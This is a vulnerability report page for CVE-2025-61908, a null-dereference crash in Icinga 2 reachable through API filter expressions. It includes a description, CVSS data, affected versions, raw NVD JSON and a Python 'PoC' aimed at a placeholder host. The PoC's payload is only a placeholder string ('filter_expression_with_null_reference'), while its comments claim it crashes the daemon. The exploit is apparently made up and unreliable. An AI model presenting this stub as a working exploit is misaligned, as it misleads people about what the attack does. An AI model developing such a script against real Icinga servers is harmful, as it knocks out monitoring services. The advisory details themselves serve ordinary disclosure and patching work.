Security Vulnerability Report
中文
CVE-2025-61908 CVSS 6.5 MEDIUM

CVE-2025-61908

Published: 2025-10-16 18:15:38
Last Modified: 2025-11-26 14:57:15

Description

Icinga 2 is an open source monitoring system. From 2.10.0 to before 2.15.1, 2.14.7, and 2.13.13, when creating an invalid reference, such as a reference to null, dereferencing results in a segmentation fault. This can be used by any API user with access to an API endpoint that allows specifying a filter expression to crash the Icinga 2 daemon. A fix is included in the following Icinga 2 versions: 2.15.1, 2.14.7, and 2.13.13.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:* - VULNERABLE
Icinga 2 >= 2.10.0, < 2.13.13
Icinga 2 >= 2.14.0, < 2.14.7
Icinga 2 >= 2.15.0, < 2.15.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61908 - Icinga 2 Null Pointer Dereference PoC # This PoC demonstrates how to trigger the null pointer dereference # vulnerability in Icinga 2 via the API filter expression import requests import json # Icinga 2 API endpoint configuration ICINGA_HOST = "https://icinga2-target.example.com:5665" API_USER = "api_user" API_PASSWORD = "api_password" # Construct the malicious filter expression that triggers null dereference # The filter references a null value and attempts to dereference it malicious_filter = "filter_expression_with_null_reference" # API request headers headers = { "Accept": "application/json", "X-HTTP-Method-Override": "GET" } # API request payload with the malicious filter payload = { "filter": malicious_filter, "filter_vars": { "null_ref": None } } # Send the malicious request to trigger the null pointer dereference response = requests.post( f"{ICINGA_HOST}/v1/objects/hosts", auth=(API_USER, API_PASSWORD), headers=headers, json=payload, verify=False ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: A successful exploitation will cause the Icinga 2 daemon # to crash with a segmentation fault (SIGSEGV), resulting in # the API becoming unresponsive.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61908", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:37.990", "lastModified": "2025-11-26T14:57:15.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Icinga 2 is an open source monitoring system. From 2.10.0 to before 2.15.1, 2.14.7, and 2.13.13, when creating an invalid reference, such as a reference to null, dereferencing results in a segmentation fault. This can be used by any API user with access to an API endpoint that allows specifying a filter expression to crash the Icinga 2 daemon. A fix is included in the following Icinga 2 versions: 2.15.1, 2.14.7, and 2.13.13."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.10.0", "versionEndExcluding": "2.13.13", "matchCriteriaId": "3D988404-9FCC-4EE1-9826-4190836FB576"}, {"vulnerable": true, "criteria": "cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.14.0", "versionEndExcluding": "2.14.7", "matchCriteriaId": "97F3EEA9-4057-4878-878D-AC7936D5C4BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:icinga:icinga:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.15.0", "versionEndExcluding": "2.15.1", "matchCriteriaId": "50EC8143-F063-4A4A-A8F4-C8E89185B7E6"}]}]}], "references": [{"url": "https://github.com/Icinga/icinga2/pull/6521", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Icinga/icinga2/security/advisories/GHSA-v9jg-xqhj-f43g", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://icinga.com/blog/releasing-icinga-2-v2-15-1-2-14-7-and-2-13-13-and-icinga-db-web-v1-2-3-and-1-1-4", "source": "[email protected]", "tags": ["Release Notes"]}]}}